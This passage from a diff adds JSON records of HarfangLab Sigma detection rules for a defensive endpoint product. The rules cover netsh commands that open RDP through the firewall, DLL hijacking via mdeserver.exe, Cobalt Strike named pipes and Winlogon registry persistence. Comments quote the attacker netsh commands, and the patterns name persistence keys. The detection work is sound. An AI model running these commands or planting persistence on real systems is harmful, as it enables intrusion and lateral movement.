+    "https://thedfirreport.com/2024/01/29/buzzing-on-christmas-eve-trigona-ransomware-in-3-hours/",
+    "https://thedfirreport.com/2021/05/12/conti-ransomware/",
+    "https://learn.microsoft.com/en-us/troubleshoot/windows-server/networking/netsh-advfirewall-firewall-control-firewall-behavior#command-example-8-enable-specific-services",
+    "https://attack.mitre.org/techniques/T1562/004/",
+    "https://attack.mitre.org/techniques/T1021/001/"
+  ],
+  "name": "t1562_004_firewall_allow_rdp.yml",
+  "content": "title: Remote Desktop Traffic Enabled via netsh\nid: 20bddb6e-34a9-4ce0-821d-1a33c767e9a7\ndescription: |\n    Detects a firewall filter modification that allows RDP traffic to pass through.\n    Adversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials.\n    It is recommended to analyze the process responsible for the execution of netsh.exe, to look for other suspicious activities on the host and to investigate subsequent malicious RDP connections to the host.\nreferences:\n    - https://www.helpwire.app/blog/enable-remote-desktop-command-line/\n    - https://thedfirreport.com/2024/01/29/buzzing-on-christmas-eve-trigona-ransomware-in-3-hours/\n    - https://thedfirreport.com/2021/05/12/conti-ransomware/\n    - https://learn.microsoft.com/en-us/troubleshoot/windows-server/networking/netsh-advfirewall-firewall-control-firewall-behavior#command-example-8-enable-specific-services\n    - https://attack.mitre.org/techniques/T1562/004/\n    - https://attack.mitre.org/techniques/T1021/001/\ndate: 2022/12/01\nmodified: 2025/04/15\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1562.004\n    - attack.lateral_movement\n    - attack.t1021.001\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.SystemModification\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.ImpairDefenses\n    - classification.Windows.Behavior.Lateralization\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_netsh1:\n        Image|endswith: '\\netsh.exe'\n        # netsh firewall set service RemoteDesktop enable\n        # netsh advfirewall firewall set rule group=\"remote desktop\" new enable=Yes\n        CommandLine|contains|all:\n            - 'firewall'\n            - 'set'\n            - 'remote'\n            - 'desktop'\n            - 'enable'\n    selection_netsh2:\n        Image|endswith: '\\netsh.exe'\n        # netsh advfirewall firewall add rule name=\"rdp\" dir=in protocol=tcp localport=3389 action=allow\n        CommandLine|contains|all:\n            - 'firewall'\n            - 'add rule'\n            - 'rdp'\n            - 'allow'\n            - '3389'\n\n    # Exclusion for firewall activation\n    # netsh advfirewall firewall set rule group=\"remote desktop\" new enable=no\n    filter_disable:\n        CommandLine|contains|all:\n            - 'set rule'\n            - 'enable'\n            - 'no'\n\n    exclusion_open_nebula:\n        Ancestors|contains:\n            - '|?:\\Program Files\\OpenNebula\\rhsrvany.exe|'\n            - '|?:\\Program Files (x86)\\OpenNebula\\rhsrvany.exe|'\n\n    # https://learn.microsoft.com/fr-fr/windows-hardware/manufacture/desktop/add-a-custom-script-to-windows-setup?view=windows-11\n    exclusion_setupcomplete:\n        ParentCommandLine|endswith: '\\cmd.exe /c ?:\\Windows\\Setup\\Scripts\\SetupComplete.cmd'\n\n    exclusion_siemens:\n        ProcessGrandparentImage: '?:\\Windows\\Temp\\TSplusInstaller\\Setup-Siemens.exe'\n        ProcessGrandparentSigned: 'true'\n        ProcessGrandparentSignature: 'TSplus SAS'\n\n    exclusion_medulla:\n        CommandLine|startswith: 'netsh advfirewall firewall add rule name=Remote Desktop for Medulla'\n\n    exclusion_syngo:\n        ParentCommandLine|contains:\n            - '\\syngo_delta_pkg\\setup\\FeatureInstallServer.bat'\n            - '\\Program Files\\Siemens\\syngo\\bin\\Common\\'\n\n    exclusion_TSplus_AdminTool:\n        ProcessGrandparentImage: '?:\\Program Files (x86)\\TSplus\\UserDesktop\\files\\AdminTool.exe'\n\n    exclusion_svcr:\n        ProcessGrandparentImage|endswith: '\\svcr.exe'\n        ProcessGrandparentSigned: 'true'\n        ProcessGrandparentSignature|contains: 'Remote Access World SAS'\n\n    condition: 1 of selection_* and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "20bddb6e-34a9-4ce0-821d-1a33c767e9a7",
+  "rule_name": "Remote Desktop Traffic Enabled via netsh",
+  "rule_description": "Detects a firewall filter modification that allows RDP traffic to pass through.\nAdversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials.\nIt is recommended to analyze the process responsible for the execution of netsh.exe, to look for other suspicious activities on the host and to investigate subsequent malicious RDP connections to the host.\n",
+  "rule_creation_date": "2022-12-01",
+  "rule_modified_date": "2025-04-15",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.lateral_movement"
+  ],
+  "rule_technique_tags": [
+    "attack.t1021.001",
+    "attack.t1562.004"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "20bf9b2e-173e-4162-b9c8-d50e1b4b38ff",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.081735Z",
+  "creation_date": "2026-03-23T11:45:34.081737Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.081741Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_mdeserver.yml",
+  "content": "title: DLL Hijacking via mdeserver.exe\nid: 20bf9b2e-173e-4162-b9c8-d50e1b4b38ff\ndescription: |\n    Detects potential Windows DLL Hijacking via mdeserver.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'mdeserver.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\d3d11.dll'\n            - '\\dxgi.dll'\n            - '\\MFPlat.DLL'\n            - '\\RTWorkQ.DLL'\n            - '\\SspiCli.dll'\n            - '\\winmde.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "20bf9b2e-173e-4162-b9c8-d50e1b4b38ff",
+  "rule_name": "DLL Hijacking via mdeserver.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via mdeserver.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "20cfd136-f946-4130-a522-6597ff877ac3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.072975Z",
+  "creation_date": "2026-03-23T11:45:34.072977Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.072981Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.cobaltstrike.com/blog/learn-pipe-fitting-for-all-of-your-offense-projects/",
+    "https://svch0st.medium.com/guide-to-named-pipes-and-hunting-for-cobalt-strike-pipes-dc46b2c5f575",
+    "https://www.vanimpe.eu/2021/09/12/cobalt-strike-hunting-key-items-to-look-for/",
+    "https://medium.com/falconforce/falconfriday-suspicious-named-pipe-events-0xff1b-fe475d7ebd8",
+    "https://gist.github.com/MHaggis/6c600e524045a6d49c35291a21e10752",
+    "https://github.com/threatexpress/random_c2_profile/blob/main/core/functions.py",
+    "https://attack.mitre.org/techniques/T1021/002/"
+  ],
+  "name": "t1021_002_custom_cobaltstrike_named_pipes_connected.yml",
+  "content": "title: Custom CobaltStrike Named Pipe Connected\nid: 20cfd136-f946-4130-a522-6597ff877ac3\ndescription: |\n    Detects the connection to a Named Pipe pertaining to the CobaltStrike framework.\n    These are custom CobaltStrike Named Pipe as seen in previous attacks.\n    CobaltStrike uses Named Pipes mainly to follow its deployment status and to self-replicate using SMB.\n    It is recommended to investigate the process that created the named pipe to determine its legitimacy.\nreferences:\n    - https://www.cobaltstrike.com/blog/learn-pipe-fitting-for-all-of-your-offense-projects/\n    - https://svch0st.medium.com/guide-to-named-pipes-and-hunting-for-cobalt-strike-pipes-dc46b2c5f575\n    - https://www.vanimpe.eu/2021/09/12/cobalt-strike-hunting-key-items-to-look-for/\n    - https://medium.com/falconforce/falconfriday-suspicious-named-pipe-events-0xff1b-fe475d7ebd8\n    - https://gist.github.com/MHaggis/6c600e524045a6d49c35291a21e10752\n    - https://github.com/threatexpress/random_c2_profile/blob/main/core/functions.py\n    - https://attack.mitre.org/techniques/T1021/002/\ndate: 2022/07/08\nmodified: 2025/04/15\nauthor: HarfangLab\ntags:\n    - attack.lateral_movement\n    - attack.t1021.002\n    - attack.execution\n    - attack.t1559\n    - classification.Windows.Source.NamedPipe\n    - classification.Windows.Framework.CobaltStrike\n    - classification.Windows.Behavior.Lateralization\nlogsource:\n    product: windows\n    category: named_pipe_connection\ndetection:\n    selection:\n        PipeName:\n            - '\\mojo.5688.8052.183894939787088877*'\n            - '\\mojo.5688.8052.35780273329370473*'\n            - '\\scerpc_*'\n            - '\\win_svc*'\n            - '\\demoagent_11*'\n            - '\\demoagent_22*'\n            - '\\Winsock2\\CatalogChangeListener-*-0,'\n            - '\\wkssvc_??'\n            - '\\ntsvcs??'\n            - '\\DserNamePipe??'\n            - '\\PGMessagePipe??'\n            - '\\SearchTextHarvester??'\n            - '\\mypipe-f??'\n            - '\\mypipe-h??'\n            - '\\windows.update.manager??'\n            - '\\windows.update.manager???'\n            - '\\MsFteWds??'\n            - '\\f4c3??'\n            - '\\f53f??'\n            - '\\fullduplex_??'\n            - '\\msrpc_????'\n            - '\\win\\msrpc_??'\n            - '\\rpc_??'\n            - '\\spoolss_??'\n            # https://github.com/threatexpress/random_c2_profile/blob/main/core/functions.py\n            - '\\ProtectionManager_????_??'\n            - '\\ProtectionManager_??'\n            - '\\Winsock2\\\\CatalogChangeListener-???????-1'\n            - '\\Winsock2\\\\CatalogChangeListener-??-??'\n            - '\\Spool\\\\pipe_????_??'\n            - '\\Spool\\\\pipe_??'\n            - '\\WkSvcPipeMgr_??????'\n            - '\\WkSvcPipeMgr_??'\n            - '\\NetClient_??????'\n            - '\\NetClient_??'\n            - '\\RPC_??????'\n            - '\\WiFiNetMgr????_??'\n            - '\\WiFiNetMgr_??'\n            - '\\AuthPipeD_??'\n\n    exclusion_trendmicro:\n        PipeName:\n            - '\\f4c3??'\n            - '\\f53f??'\n        ProcessImage:\n            - '?:\\Program Files\\Trend Micro\\\\*'\n            - '?:\\Program Files (x86)\\Trend Micro\\\\*'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Trend Micro, Inc.'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\n# level: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "20cfd136-f946-4130-a522-6597ff877ac3",
+  "rule_name": "Custom CobaltStrike Named Pipe Connected",
+  "rule_description": "Detects the connection to a Named Pipe pertaining to the CobaltStrike framework.\nThese are custom CobaltStrike Named Pipe as seen in previous attacks.\nCobaltStrike uses Named Pipes mainly to follow its deployment status and to self-replicate using SMB.\nIt is recommended to investigate the process that created the named pipe to determine its legitimacy.\n",
+  "rule_creation_date": "2022-07-08",
+  "rule_modified_date": "2025-04-15",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.lateral_movement"
+  ],
+  "rule_technique_tags": [
+    "attack.t1021.002",
+    "attack.t1559"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "20feacae-9a99-4ce6-8f8c-c02176cb730a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.620673Z",
+  "creation_date": "2026-03-23T11:45:34.620675Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.620680Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.ired.team/offensive-security/persistence/windows-logon-helper",
+    "https://persistence-info.github.io/Data/mpnotify.html",
+    "https://twitter.com/0gtweet/status/1548604288611614725",
+    "https://attack.mitre.org/techniques/T1547/004/"
+  ],
+  "name": "t1547_004_persistence_winlogon_helper.yml",
+  "content": "title: Winlogon Helper DLL Installed\nid: 20feacae-9a99-4ce6-8f8c-c02176cb730a\ndescription: |\n    Detects a change of the Winlogon configuration via registry modification.\n    Attackers may abuse features of Winlogon to execute DLLs and/or executables at user logon.\n    It is recommended to check whether the process modifying the registry keys has legitimate reasons to do it.\nreferences:\n    - https://www.ired.team/offensive-security/persistence/windows-logon-helper\n    - https://persistence-info.github.io/Data/mpnotify.html\n    - https://twitter.com/0gtweet/status/1548604288611614725\n    - https://attack.mitre.org/techniques/T1547/004/\ndate: 2020/09/24\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1547.004\n    - attack.t1112\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.ConfigChange\n    - classification.Windows.Behavior.Persistence\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection_winlogon:\n        EventType: SetValue\n        TargetObject|endswith:\n            - '\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Userinit'\n            - '\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell'\n            - '\\Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Userinit'\n            - '\\Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell'\n\n    selection_notify:\n        EventType: SetValue\n        TargetObject|endswith:\n            - '\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\\\\*\\DllName'\n            - '\\Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\\\\*\\DllName'\n\n    # Detects suspicious persistence by creating the mpnotify value.\n    # The executable will be loaded by the winlogon.exe process at user logon.\n    # The new process will be terminated after a timeout of 30 seconds.\n    selection_mpnotify:\n        EventType: SetValue\n        TargetObject: 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\mpnotify'\n\n    filter_empty:\n        Details: '(Empty)'\n\n    exclusion_template_gpo:\n        ProcessImage|endswith: '\\svchost.exe'\n        ProcessCommandLine:\n            - '?:\\Windows\\system32\\svchost.exe -k GPSvcGroup'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k GPSvcGroup -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s gpsvc'\n            - '?:\\Windows\\System32\\svchost.exe -k netsvcs' # (Windows Server 2012 and 2016)\n            - '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k UserProfileService -p -s gpsvc'\n        ProcessUserSID: 'S-1-5-18'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_programfiles:\n        ProcessImage|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n        ProcessSigned: 'true'\n\n    exclusion_userinit:\n        TargetObject|endswith:\n            - '\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Userinit'\n            - '\\Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Userinit'\n        Details:\n        # cannot use *\\userinit.exe because one could add its persistence before the userinit entry and we would miss it\n            - '?:\\windows\\system32\\userinit.exe,'\n            - '?:\\windows\\system32\\userinit.exe'\n            - '?:\\windows\\syswow64\\userinit.exe,'\n            - '?:\\windows\\syswow64\\userinit.exe'\n            - 'userinit.exe'\n            - 'userinit.exe,'\n            - '?:\\windows\\system32\\kusrinit.exe,' # DELL/Kace agent\n            - '?:\\WINDOWS\\system32\\userinit.exe,?:\\windows\\system32\\KUsrInit.exe,'\n            - '?:\\Windows\\system32\\Cliaca2kp.exe,?:\\Windows\\System32\\KUsrInit.exe' # IACA, DELL/Kace agent\n            - '?:\\windows\\system32\\userinit.exe,\"?:\\program files\\vmware\\vmware view\\agent\\bin\\wssm.exe\",' # VMWare view agent\n            - '?:\\windows\\system32\\userinit.exe,\"?:\\program files\\unidesk\\layering services\\layerinfo.exe\",' # CITRIX app layering\n            - '?:\\Windows\\system32\\userinit.exe,?:\\Program Files (x86)\\HP\\HP ProtectTools Security Manager\\Bin\\DPAgent.exe,'  # HP ProtectTools agent\n            - '?:\\Windows\\system32\\userinit.exe,?:\\Program Files (x86)\\Hewlett-Packard\\HP ProtectTools Security Manager\\Bin\\DPAgent.exe,'\n            - '?:\\WINDOWS\\system32\\userinit.exe,\"?:\\Program Files (x86)\\Avencis\\SSOX\\SessionManager+.exe\"' # Avencis\n\n    exclusion_shell_explorer:\n        TargetObject|endswith:\n            - '\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell'\n            - '\\Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell'\n        Details: 'explorer.exe'\n\n    exclusion_sccertprop:\n        TargetObject: '*\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\\ScCertProp\\DllName'\n        Details|contains: 'wlnotify.dll'\n\n    exclusion_logmein_gotoassist:\n        TargetObject:\n            - '*\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\\GoToAssist Express Customer\\DLLName'\n            - '*\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\\GoToAssist\\DLLName'\n        Details|endswith:\n            - 'g2ax_winlogonx64.dll'\n            - 'g2awinlogon_x64.dll'\n        # FIXME: waiting for agent in production to support those fields\n        # ProcessSignature: 'LogMeIn, Inc.'\n        # ProcessSigned: 'true'\n\n    exclusion_citrix:\n        TargetObject: '*\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\\MetaFrame\\DLLName'\n        Details: 'ctxnotif.dll'\n    exclusion_citrix_icaservice:\n        TargetObject: '*\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\\cpwswlx\\DLLName'\n        Details:\n            - '?:\\program files\\citrix\\icaservice\\cpwswlx64.dll'\n            - '?:\\Program Files\\Citrix\\HDX\\bin\\CpWsWlx64.dll'\n    exclusion_citrix_selfservice:\n        TargetObject:\n            - 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell'\n            - 'HKLM\\SOFTWARE\\WOW6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\shell'\n        Details: '?:\\Program Files (x86)\\Citrix\\ICA Client\\SelfServicePlugin\\selfservice.exe'\n\n    exclusion_userlock_agent:\n        TargetObject|endswith: '\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Userinit'\n        Details: '?:\\WINDOWS\\SYSWOW64\\ULAGENTEXE.EXE,'\n\n    exclusion_zonecentral:\n        Image: '?:\\Program Files\\Prim?x\\ZoneCentral\\zcs.exe'\n        Details: '*zcuserinit.exe*'\n\n    exclusion_igfxcui:\n        TargetObject: 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\\igfxcui\\DLLName'\n        Details: 'igfxdev.dll'\n\n    exclusion_logishrd:\n        TargetObject: 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\\LBTWlgn\\DLLName'\n        Details|contains: '?:\\program files\\common files\\logishrd\\bluetooth\\LBTWlgn.dll'\n\n    exclusion_ccnotify:\n        TargetObject: 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\\ccnotify\\DLLName'\n        Details: 'ccnotify.dll'\n\n    exclusion_novell:\n        TargetObject: 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\\LCredMgr\\DLLName'\n        Details: '?:\\Program Files\\Novell\\CASA\\bin\\lcredmgr.dll'\n\n    exclusion_zencredmanager:\n        TargetObject: 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\\ZenCredManager\\DLLName'\n        Details: 'ZenCredManager.dll'\n\n    # https://tsplus.net/fr/\n    exclusion_tsplus:\n        ProcessCommandLine:\n            - '?:\\wsession\\svcr.exe logonsession.bin ?:\\wsession\\logonsession.exe'\n            - '?:\\Program Files (x86)\\TSplus\\UserDesktop\\files\\APSC.exe'\n        TargetObject|endswith: '\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell'\n        Details: '?:\\ProgramData\\alternateshell.exe'\n\n    exclusion_displaynote_technologies:\n        ProcessImage: '?:\\Program Files (x86)\\DisplayNoteTechnologies\\Launcher\\KioskStarter.exe'\n        Details: '?:\\Program Files (x86)\\DisplayNoteTechnologies\\Launcher\\KioskStarter.exe'\n\n    # Windows in kiosk mode\n    exclusion_customshellhost:\n        ProcessCommandLine|contains: '?:\\windows\\system32\\svchost.exe -k AssignedAccessManagerSvc'\n        Details: 'customshellhost.exe'\n\n    exclusion_kiosk:\n        TargetObject: 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell'\n        Details: 'conhost.exe --headless pwsh -WindowStyle hidden -File \"?:\\Windows\\System32\\Kiosk.ps1\"'\n\n    exclusion_isl_online:\n        ProcessImage:\n            - '?:\\Program Files (x86)\\ISL Online Cache\\ISL Restart\\s_?\\ISLLightService.exe'\n            - '?:\\Program Files (x86)\\ISL Online\\ISL Restart\\s_?\\ISLLightService.exe'\n            - '?:\\Users\\\\*\\AppData\\Local\\ISL Online Cache\\ISL Restart\\s_?\\ISLLightService.exe'\n        Details:\n            - '?:\\Program Files (x86)\\ISL Online Cache\\ISL Restart\\s_?\\isl_notify64.dll'\n            - '?:\\Program Files (x86)\\ISL Online\\ISL Restart\\s_?\\isl_notify64.dll'\n            - '?:\\Users\\\\*\\AppData\\Local\\ISL Online Cache\\ISL Restart\\s_?\\isl_notify64.dll'\n\n    exclusion_archimed:\n        TargetObject: '*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell'\n        Details: '?:\\Program Files\\Archimed\\shell\\unishell.exe'\n\n    exclusion_crews:\n        TargetObject: '*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell'\n        Details: 'CrewsDesk.exe'\n        ProcessImage: '*\\Resa Crews Cupps\\CrewsCupps.exe'\n\n    exclusion_omniware:\n        ProcessImage|endswith: '\\APSC.exe'\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'JWTS SASU'\n            - 'Remote Access World SAS'\n        Details|startswith: '?:\\ProgramData\\alternateshell.exe'\n\n    exclusion_ivanti:\n        TargetObject:\n            - 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell'\n            - 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Userinit'\n        Details|contains:\n            - '?:\\Program Files (x86)\\Ivanti\\Workspace Control\\pwrstart.exe'\n            - '?:\\Program Files (x86)\\Ivanti\\Workspace Control\\pfwsmgr.exe'\n\n    exclusion_windowssetup:\n        Image:\n            - '?:\\$WINDOWS.~BT\\Sources\\setupplatform.exe'\n            - '?:\\$WINDOWS.~BT\\Sources\\setuphost.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows'\n\n    exclusion_userlock:\n        TargetObject:\n            - 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell'\n            - 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Userinit'\n        Details|contains: '?:\\WINDOWS\\SYSWOW64\\ULAGENTEXE.EXE'\n\n    exclusion_kerberos:\n        TargetObject: 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\\MIT_KFW\\DLLName'\n        Details: '?:\\WINDOWS\\system32\\kfwlogon.dll'\n\n    exclusion_wkplogin:\n        ProcessImage: '?:\\Windows\\System32\\msiexec.exe'\n        TargetObject: 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\\WPKGLogon\\DLLName'\n        Details: '?:\\Program Files\\wpkg\\wpkglogon.dll'\n\n    exclusion_resavista:\n        ProcessImage|endswith: '\\RESAVistaIDSClient.exe'\n        TargetObject:\n            - 'HKLM\\SOFTWARE\\WOW6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell'\n            - 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell'\n        Details|endswith: '\\RESAVistaIDSClient.exe'\n\n    condition: 1 of selection_* and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: moderate\n",
+  "block_on_agent": false,
